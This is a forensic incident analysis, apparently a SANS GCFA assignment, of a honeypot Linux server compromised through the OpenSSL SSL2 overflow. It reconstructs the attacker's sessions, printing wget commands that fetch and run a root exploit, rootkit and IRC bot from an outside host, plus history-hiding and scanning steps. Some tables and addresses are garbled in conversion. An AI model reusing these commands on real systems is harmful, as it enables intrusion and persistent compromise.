The command `snort -r tcpdump.log.1056855401 > tcpdump.out` was used to read the binary tcpdump log file and output a readable output file. The tcpdump log files were used to calculate time differences in with other the log files.

```
06/30-17:10:23.402854 192.168.2.15:4135 -> 192.168.1.120:1111
TCP TTL:64 TOS:0x0 ID:54820 IpLen:20 DgmLen:81 DF
***AD*** Seq: 0xDBDFF174 Ack: 0xC1A03AD7 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 69429996 2854832
4D 6F 6E 20 0A 75 6E 20 33 30 20 31 37 3A 31 38 Mon Jun 30 17:18
```

Snort was configured to collect alerts, store session data and collect binary tcpdump logging. The command used on the snort host was:

```
#snort -d -D -c /usr/local/etc/snort.conf -i fxpl -l DIR/$DATE
```
The snort options are defined below:

```
"-d" logs the packet details
"-D" runs snort in daemon mode
"-c" tells snort what configuration file to use
"-i" identifies the interface to monitor
"-l" defines the directory to log to
```

Additional configuration information found in the snort.conf file defines tcpdump binary logging and output alert logging for full and fast alerts.

Both snort and tcpdump were used to analyze the traffic to and from the victim.

The snort alerts and tcpdump logging showed a series of connections from IP XXX.XXX.120.163 starting at 14:44:41 through to 14:45:38. The connection(s) started with an ICMP echo request and reply, and an attempted connection to port 445 (microsoft-ds) and a connection to port 80 (http). Using www.ripe.net a whois lookup was done on IP XXX.XXX.120.163. The IP belongs to Netvision’s BroadBand service located in Haifa, Israel.

The next session begins the compromise of the victim machine on port 443. The IP address that connects is XXX.XXX.108.64 at 14:47:43. This session compromised the victim Linux host through TCP port 443. The sessions have the CERT® worm, “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”¹⁷ signature. The snort alerts shown below are triggered by the following “TERM=xterm” in the content portion of a TCP port 443 (SSL) packet.

¹⁷ “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”, (www.kb.cert.org/vuls/id/102795), www.securityfocus.com/bin/5363
Using Tcpflow we see the request send from XXX.XXX.108.064.34919-192.168.002.015.00080
GET / HTTP/1.1

The response sent from 192.168.002.015.00080-XXX.XXX.108.064.34919
HTTP/1.1 200 OK
Date: Sun, 29 Jun 2003 21:06:18 GMT
Server: Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

18d

Snort alerts

Thirty four port 443 request are sent to the victim, below is one sample
14:56:26.080778 XXX.XXX.108.064.34987 > 192.168.2.15.443: S 2348468635:2348468635(0) win 5640 <ms 1460,ackOK,timestamp 5847819 0,nop,wscale 0> (DF)
14:56:26.340382 XXX.XXX.108.064.34987 > 192.168.2.15:443: . ack 1 win 5840 <nop,nop,timestamp 5847847 52966072> (DF)

Snort alerts
06/29-14:57:48.167364 [**] [117:1:1] (app_portscan2) Portscan detected from 192.168.2.15-1 targets 21 ports in 0 seconds [**] (TCP) 192.168.2.15.443 -> XXX.XXX.108.64 :35041

The tcpdump binary log was parsed through tcpflow with the syntax
"tcpflow -r tcpdump.log.1056866401 'port 34919'

The output was two files " XXX.XXX.108.64.34919-192.168.002.015.00080" and 192.168.002.015.00080-XXX.XXX.108.64.34919". The output is shown below;
Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm like activity. A file named "r" is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressed. The program tcpflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41.

```plaintext
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => 'r'.
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
0K .......... ............
100% 76.87 KB/s
15:09:13 (76.87 KB/s) - 'r' saved [19916/19916]
./r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
suid
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
```

### 192.168.002.015.00080-XXX.XXX.108.064.34919

HTTP/1.1 400 Bad Request  
Date: Sun, 29 Jun 2003 21:06:18 GMT  
Server: Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26  
Connection: close  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=iso-8859-1
wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16--  http://XXX.XXX.com/eladoht/s.tar.gz
 => `s.tar.gz'
15:11:18 (195.87 KB/s) - 's.tar.gz' saved [352596/352596]
tar -zxvf s.tar.gz; rm -rf s.tar.gz;
ls -al
ls -al

The first session ends without the complete installation of the kit. At 15:09:40 two attempts are made to connect to the victim IP from IP XXX.XXX.119.81 on port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 is sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the rootkit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session completes the installation of the rootkit in the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer overflow session is started at 15:18:22. The tcpxflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font

After the buffer overflow the session starts at 15:18:27 and completes at 15:30:03.

```
rm -rf
```

```
dir -al
```

```
total 64
```

```
dwrxr-xr-x 20 root root 1024 Jun 29 15:22 ..
dwrxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x 1 root root 11 Jun 23 12:00 .X0-lock
dwrxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
dwrxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
dwrxrwxrwt 2 root root 1024 Jun 19 11:43 .kde
dwrxrwxrwt 2 root root 1024 Jun 19 11:43 .X0-lock
dwrxrwxrwt 2 root root 1024 Jun 19 11:43 .qt
dwrxrwxrwt 2 root root 1024 Jun 19 11:43 .X11-unix
dwrxrwxrwt 2 root root 1024 Jun 19 11:43 .font-unix
-rwxr-xr-x 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 .X-Test.log
-rwxr-xr-x 1 root root 4133 Jun 20 04:14 .X86Config.test
dwrx------ 2 userid1 userid1 1024 Jun 23 12:18 .kde-useridl
-dwrx------ 2 userid1 userid1 1024 Jun 23 12:18 .kde-useridl
dwrx------ 2 root root 1024 Jun 23 12:18 .kde-root
dwrx------ 2 userid1 userid1 1024 Jun 23 16:40 .ksocket-useridl
dwrx------ 2 root root 1024 Jun 23 16:40 .ksocket-root
dwrx------ 3 userid1 userid1 1024 Jun 23 12:18 .mcp-useridl
dwrx------ 3 root root 1024 Jun 20 10:55 .mcp-root
-rwxr-xr-x 1 apache apache 24012 Jun 29 15:28 .r
-rwx------ 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
dwrx------ 2 root root 1024 Jun 20 02:20 texconf.Nzu100
```

```bash
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash:
[19893: 1] tcsetattr: Invalid argument
cd font-unix
```

```
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash:
cd: font-unix: No such file or directory
```

```
cd .font-unix
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash -2.05a$ readline:

wget XXX.XXX.com/eladoht/bot.tgz; tar -zxvf bot.tgz; rm -rf bot.tgz; cd .X11-pipe; chmod +x
inetd/services; inetd/services;

get terminal settings bash -2.05a$ --15:31:46-- http://XXX.XXX.XXX.com/eladoht/bot.tgz
 => 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcsetattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory

wget XXX.XXX.com/eladoht/bot.tgz; tar -zxvf bot.tgz; rm -rf bot.tgz; cd .X11-pipe; chmod +x
inetd/services; inetd/services;
inetd/services;

readline: warning: rl_prep_terminal: cannot get terminal settings
bash -2.05a$ --15:32:45-- http://XXX.XXX.com/eladoht/bot.tgz
 => 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]

15:32:50 (179.21 KB/s) - `bot.tgz' saved [764880/764880]
```

```
./X11-pipe/
./X11-pipe/COPYING
./X11-pipe/README
./X11-pipe/TODD
./X11-pipe/VERSIONS
./X11-pipe/Makfile
./X11-pipe/configure
./X11-pipe/mech.pid
./X11-pipe/lpd.help
./X11-pipe/randfiles/
./X11-pipe/randfiles/randaway.e
./X11-pipe/randfiles/randinsult.e
./X11-pipe/randfiles/randkicks.e
./X11-pipe/randfiles/randnick.e
./X11-pipe/randfiles/randpickup.e
./X11-pipe/randfiles/randsay.e
./X11-pipe/randfiles/randsignoff.e
./X11-pipe/randfiles/randversions.e
./X11-pipe/src/
./X11-pipe/src/Makfile.in
./X11-pipe/src/cfgfile.c
./X11-pipe/src/channel.c
./X11-pipe/src/com-ons.c
./X11-pipe/src/combot.c
./X11-pipe/src/commands.c
./X11-pipe/src/config.in
./X11-pipe/src/dcc.c
./X11-pipe/src/debug.c
./X11-pipe/src/defines.h
./X11-pipe/src/function.c
./X11-pipe/src/global.h
```
bash: [19893: 1] tcsetattr: Invalid argument

ps ax

readline: warning: rl_prep terminal: cannot get terminal settings

bash-2.05a$ PID TTY STAT TIME COMMAND
1 ? S 0:04 init
2 ? SW 0:00 [keventd]
3 ? SW 0:00 [ksspm]
4 ? SWN 0:00 [ksoftirqd_CPU0]
5 ? SW 0:02 [kswpd]
6 ? SW 0:00 [bdflush]
7 ? SW 0:00 [kudated]
8 ? SW 0:00 [mdrecoveryd]
12 ? SW 0:00 [kjournald]
91 ? SW 0:00 [khubd]
186 ? SW 0:00 [kjournald]
187 ? SW 0:00 [kjournald]
188 ? SW 0:00 [kjournald]
189 ? SW 0:00 [kjournald]
657 ? S 0:00 [rcp.statd]
770 ? S 0:00 [usr/sbin/apmd -p 10 -w 5 -w -P /etc/sysconfig/apm-sc]
790 ? SL 0:01 ntpd -U ntp -g
842 ? S 0:01 [usr/sbin/sshd]
875 ? S 0:00 [xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid]
911 ? S 0:00 [sendmail: accepting connections]
935 ? S 0:00 [gpm -t ps/2 -m /dev/mouse]
953 ? S 0:00 [cron]
1005 ? S 0:03 [xfs -droppriv -daemon]
<table>
<thead>
<tr>
<th>PID</th>
<th>User</th>
<th>Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>1041</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/atd</td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>0:00</td>
<td>/sbin/minetty tty1</td>
</tr>
<tr>
<td>1051</td>
<td>tty2</td>
<td>0:00</td>
<td>/sbin/minetty tty2</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>0:00</td>
<td>/sbin/minetty tty3</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>0:00</td>
<td>/sbin/minetty tty4</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>0:00</td>
<td>/sbin/minetty tty5</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>0:00</td>
<td>/sbin/minetty tty6</td>
</tr>
<tr>
<td>1056</td>
<td></td>
<td>0:00</td>
<td>/usr/bin/kdm -nodaemon</td>
</tr>
<tr>
<td>1066</td>
<td></td>
<td>671:43</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEeq</td>
</tr>
<tr>
<td>1067</td>
<td></td>
<td>0:00</td>
<td>-i</td>
</tr>
<tr>
<td>1091</td>
<td>s</td>
<td>0:00</td>
<td>/bin/sh /usr/bin/startkde</td>
</tr>
<tr>
<td>1175</td>
<td>s</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
</tr>
<tr>
<td>1178</td>
<td></td>
<td>0:00</td>
<td>kdeinit: dcoserver --nosid</td>
</tr>
<tr>
<td>1181</td>
<td>s</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
</tr>
<tr>
<td>1183</td>
<td>s</td>
<td>5:52</td>
<td>kdeinit: kded</td>
</tr>
<tr>
<td>1192</td>
<td>s</td>
<td>0:02</td>
<td>/usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l</td>
</tr>
<tr>
<td>1203</td>
<td>s</td>
<td>0:02</td>
<td>kdeinit: kotify</td>
</tr>
<tr>
<td>1208</td>
<td>s</td>
<td>0:00</td>
<td>kwrapper ksmservice --restore</td>
</tr>
<tr>
<td>1220</td>
<td>s</td>
<td>0:00</td>
<td>kdeinit: ksmservice --restore</td>
</tr>
<tr>
<td>1211</td>
<td>s</td>
<td>0:09</td>
<td>kdeinit: kwin -session 117f000001000105612629300000008</td>
</tr>
<tr>
<td>1217</td>
<td>s</td>
<td>0:18</td>
<td>kdeinit: kicker</td>
</tr>
<tr>
<td>1219</td>
<td>s</td>
<td>0:35</td>
<td>autoreconnect -l --interval=1000 --cdplayer=/usr/bin/kscd</td>
</tr>
<tr>
<td>1222</td>
<td>s</td>
<td>0:51</td>
<td>kdeinit: klipper -icon kclipper -miniicon kclipper</td>
</tr>
<tr>
<td>1226</td>
<td>s</td>
<td>0:00</td>
<td>kdeinit: kwrite</td>
</tr>
<tr>
<td>1228</td>
<td>s</td>
<td>0:00</td>
<td>korgac --miniicon korganizer</td>
</tr>
<tr>
<td>1230</td>
<td>s</td>
<td>0:00</td>
<td>kalarm --login</td>
</tr>
<tr>
<td>1232</td>
<td>s</td>
<td>5:04</td>
<td>kdeinit: konsole -icon konsole -miniicon konsole</td>
</tr>
<tr>
<td>1234</td>
<td>pts/1</td>
<td>0:00</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>1266</td>
<td>pts/1</td>
<td>0:00</td>
<td>su -</td>
</tr>
<tr>
<td>1269</td>
<td>pts/1</td>
<td>0:00</td>
<td>bash</td>
</tr>
<tr>
<td>6133</td>
<td>s</td>
<td>0:00</td>
<td>kdeinit: kcookiejar</td>
</tr>
<tr>
<td>6135</td>
<td>s</td>
<td>0:00</td>
<td>kdesud</td>
</tr>
<tr>
<td>7168</td>
<td>s</td>
<td>0:12</td>
<td>kdeinit: konsole -icon konsole -miniicon konsole</td>
</tr>
<tr>
<td>7170</td>
<td>pts/2</td>
<td>0:00</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>7203</td>
<td>pts/2</td>
<td>0:00</td>
<td>su</td>
</tr>
<tr>
<td>7206</td>
<td>pts/2</td>
<td>0:00</td>
<td>bash</td>
</tr>
<tr>
<td>8125</td>
<td>s</td>
<td>0:01</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>8154</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/snmpd -s -l /dev/null -P /var/run/snmpd -a</td>
</tr>
<tr>
<td>10606</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10607</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10608</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10609</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10610</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10611</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10612</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10613</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19365</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19366</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19367</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19368</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19369</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19370</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19371</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19372</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19373</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19374</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19375</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19376</td>
<td>s</td>
<td>0:00</td>
<td>/usr/sbin/ftp -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19488</td>
<td>s</td>
<td>0:00</td>
<td>bash -i</td>
</tr>
<tr>
<td>19504</td>
<td>s</td>
<td>0:00</td>
<td>/r</td>
</tr>
<tr>
<td>19505</td>
<td>z</td>
<td>0:00</td>
<td>[r &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19507</td>
<td>s</td>
<td>0:00</td>
<td>/bin/sh</td>
</tr>
<tr>
<td>19508</td>
<td>s</td>
<td>0:00</td>
<td>su</td>
</tr>
<tr>
<td>19509</td>
<td>s</td>
<td>0:00</td>
<td>bash</td>
</tr>
<tr>
<td>19635</td>
<td>s</td>
<td>0:00</td>
<td>minilogd</td>
</tr>
<tr>
<td>19678</td>
<td>t</td>
<td>0:00</td>
<td>/usr/bin/weit</td>
</tr>
<tr>
<td>19685</td>
<td>s</td>
<td>0:00</td>
<td>popauth</td>
</tr>
<tr>
<td>19686</td>
<td>z</td>
<td>0:00</td>
<td>[weit &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19694</td>
<td>t</td>
<td>0:00</td>
<td>cp -f killall /usr/bin/</td>
</tr>
<tr>
<td>19697</td>
<td>z</td>
<td>0:00</td>
<td>[cp &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19701</td>
<td>t</td>
<td>0:00</td>
<td>cp -f find /usr/bin/</td>
</tr>
</tbody>
</table>
Below are a summary of the session and the files downloaded. The file ‘r’ was repeatedly downloaded, used to elevate privileges to root, and removed.

The IRC bot connections began at 15:22:51 the last incoming connection occurred at 16:52:24. The IRC channel that the victim machine participated in was Stockholm.SE.eu.Undernet.org.

Sebek output provided keystroke evidence of actions taken. Sebek output and the output logging from the rootkit install provided information on changes to configurations files to examine further.

<table>
<thead>
<tr>
<th>Aligned with snort Time</th>
<th>Time</th>
<th>Date</th>
<th>Shell</th>
<th>Commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>13:56:00 19:51:46</td>
<td></td>
<td>21/10/1971</td>
<td>[0:bash:20000:pts:0]</td>
<td>unset HISTFILES</td>
</tr>
<tr>
<td>Time</td>
<td>Command</td>
<td>Time</td>
<td>Command</td>
<td></td>
</tr>
<tr>
<td>----------</td>
<td>------------------</td>
<td>----------</td>
<td>------------------</td>
<td></td>
</tr>
<tr>
<td>16:45:17</td>
<td><code>-</code> 29/06/2003</td>
<td>21:41:03</td>
<td><code>-</code> 29/06/2003</td>
<td></td>
</tr>
<tr>
<td>16:00:04</td>
<td><code>-</code> 29/06/2003</td>
<td>21:55:50</td>
<td><code>-</code> 29/06/2003</td>
<td></td>
</tr>
<tr>
<td>16:02:29</td>
<td><code>-</code> 29/06/2003</td>
<td>21:58:15</td>
<td><code>-</code> 29/06/2003</td>
<td></td>
</tr>
<tr>
<td>16:02:50</td>
<td><code>-</code> 29/06/2003</td>
<td>21:58:36</td>
<td><code>-</code> 29/06/2003</td>
<td></td>
</tr>
<tr>
<td>16:30:54</td>
<td><code>-</code> 29/06/2003</td>
<td>22:26:45</td>
<td><code>-</code> 29/06/2003</td>
<td></td>
</tr>
<tr>
<td>16:36:44</td>
<td><code>-</code> 29/06/2003</td>
<td>22:32:30</td>
<td><code>-</code> 29/06/2003</td>
<td></td>
</tr>
<tr>
<td>16:40:01</td>
<td><code>-</code> 29/06/2003</td>
<td>22:35:47</td>
<td><code>-</code> 29/06/2003</td>
<td></td>
</tr>
<tr>
<td>17:05:38</td>
<td><code>-</code> 29/06/2003</td>
<td>23:02:47</td>
<td><code>-</code> 29/06/2003</td>
<td></td>
</tr>
<tr>
<td>17:11:47</td>
<td><code>-</code> 29/06/2003</td>
<td>23:08:56</td>
<td><code>-</code> 29/06/2003</td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
The sebek log events and the tcpdump output show the TCP port 18 connections originating from IP XXX.XXX.119.81. The samba.tar.gz file was retrieved during the port 18 connection.

A Whois lookup in ARIN pointed to the RIPE. A whois lookup using RIPE (www.ripe.net) showed the IP address belonging to XXXXXXXX Network S.A. in Bucharest, Romania.

<table>
<thead>
<tr>
<th>Time</th>
<th>Action</th>
<th>Command</th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>16:54:45</td>
<td>22:50:31</td>
<td>[A]</td>
<td></td>
</tr>
<tr>
<td>16:56:09</td>
<td>22:51:55</td>
<td>[A] sys XXX.XXX.84.30</td>
<td>nmap XXX.XXX.84.30</td>
</tr>
<tr>
<td>16:56:56</td>
<td>22:52:42</td>
<td>[A]</td>
<td></td>
</tr>
<tr>
<td>16:58:56</td>
<td>22:54:42</td>
<td>[A]</td>
<td></td>
</tr>
<tr>
<td>17:00:23</td>
<td>22:56:09</td>
<td>[A]</td>
<td></td>
</tr>
<tr>
<td>17:01:48</td>
<td>22:57:34</td>
<td>[A]</td>
<td></td>
</tr>
<tr>
<td>17:02:04</td>
<td>22:57:50</td>
<td>[A]</td>
<td></td>
</tr>
<tr>
<td>17:02:20</td>
<td>22:58:06</td>
<td>[A]</td>
<td></td>
</tr>
<tr>
<td>17:02:26</td>
<td>22:58:12</td>
<td>[A]</td>
<td></td>
</tr>
<tr>
<td>17:02:47</td>
<td>22:58:30</td>
<td>[A]</td>
<td></td>
</tr>
<tr>
<td>17:03:06</td>
<td>22:58:52</td>
<td>[A]</td>
<td></td>
</tr>
</tbody>
</table>

| inetnum: | XXX.XXX.96.0 – XXX.XXX.127.255 |
| netname: | XXXXX |
| descr: | XXXXXXX XXXXX Network S.A. |
| descr: | XXXXXXX XXXX Network |
| country: | RO |
| admin-c: | BT17-RIPE |
| tech-c: | PDNN1-RIPE |
| status: | ASSIGNED PA |
| notify: | XXXXXXX@XXXXXX.ro |
| mnt-by: | AS8503-MNT |
| changed: | XXXXXXX@XXXXXX.ro 20030704 |
| source: | RIPE |
| route: | XXX.XXX.116.0/22 |
| descr: | PCNET |
| origin: | AS8503 |
| notify: | XXXXXXX@XXXXXX.ro |
| mnt-by: | AS8503-MNT |
| changed: | XXXXXXX@XXXXXX.ro 20020912 |
| source: | RIPE |
| role: | XXXXX XXXX Network NOC |
| address: | XXXXXXX XXXXX, nr. 10 |
| address: | Bucharest, ROMANIA |
| phone: | +XX 1 555 86 61 |
| phone: | +XX 1 555 35 23 |
| fax-no: | +XX 1 555 49 99 |
| e-mail: | XXXXXXX@XXXXXX.ro |
| trouble: | +XX X 555 18 84 |
| admin-c:        | BT17-RIPE          |
| tech-c:        | BT17-RIPE          |
| tech-c:        | AP158-RIPE         |
| tech-c:        | CM3059-RIPE        |
| tech-c:        | CN19-RIPE          |
| tech-c:        | IG20-RIPE          |
| tech-c:        | CR60-RIPE          |
| nic-hdl:       | PDNN1-RIPE         |
| remarks:       | ------------------ |
| remarks:       | abuse: abuse@XXXXX.ro |
| remarks:       | ------------------ |
| remarks:       | for escalation please directly call the technical manager |
| notify:        | XXXXX@XXXXX.ro     |
| mnt-by:        | AS8503-MNT         |
| changed:       | XXXXX@XXXXX.ro 20011008 |
| source:        | RIPE               |
| person:        | XXXXX XXXXX        |
| remarks:       | Technical Manager  |
| remarks:       | XXXXX XXXX Network S.A. |
| address:       | Bucharest, Romania |
| phone:         | +XX X 555 18 84    |
| phone:         | +XX 1 555 86 61    |
| phone:         | +XX 1 555 35 23    |
| fax-no:        | +XX 1 555 49 99    |
| nic-hdl:       | BT17-RIPE          |
| mnt-by:        | BT17-RIPE-MNT      |
| notify:        | XXXXX@pcnet.ro     |
| e-mail:        | XXXXX@pcnet.ro     |
| changed:       | XXXXX@pcnet.ro 20011009 |
| source:        | RIPE               |
Tcpflow Output – Buffer Overflow and Root Kit placements.

The program tcpflow was used to dump the session data. The XXX.XXX.108.65:35054 => 192.168.2.14:443 are the commands that were sent and 92.168.2.14:443 => XXX.XXX.108.65:35054 are the results from the commands. The section below shows the two sessions combined. The lines that are bolded and italicized are from XXX.XXX.108.65:35054=>192.168.2.14:443. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]

15:09:13 (76.87 KB/s) - `r' saved [19916/19916]

/r
bash-2.05a$[+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4f000fd1d
[+] Now wait for suid shell...

su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al

total 38
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x 1 root root 11 Jul 23 12:00 .X0-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-lock
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwx------ 2 root root 1024 Jun 19 11:43 .kde

drwxr-xr-x 2 root root 1024 Jun 19 11:48 .mozilla

drwxr-xr-x 2 root root 1024 Jun 19 11:43 .qt

-drwx------ 1 root root 1024 Jun 20 02:17 .rnd

-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache

-rwxr-xr-x 1 root root 890 Jun 20 04:14 X-Test.log

-rw-r--r-- 1 root root 4133 Jun 20 04:14 XF86Config.test

-drwx------ 2 user1d user1d 1024 Jun 23 12:18 kde-user1d

drwx------ 2 root root 1024 Jun 20 10:55 kde-root

-drwx------ 2 user1d user1d 1024 Jun 26 16:40 kscket-user1d

-drwx------ 2 root root 1024 Jun 23 11:55 ksocket-root

-drwx------ 3 user1d user1d 1024 Jun 23 12:18 mcop-user1d

-drwx------ 3 root root 1024 Jun 20 10:55 mcop-root

-drw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem

-drwx------ 2 root root 1024 Jun 20 02:20 texconf.Nzul00wget

wget XXX.XXX.com/eladoht/s.tar.gz

--15:11:16-- http://XXX.XXX.com/eladoht/s.tar.gz
 => `s.tar.gz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
```
Kevin Miller - Sans GCFA Assignment – v1.4
Page 193

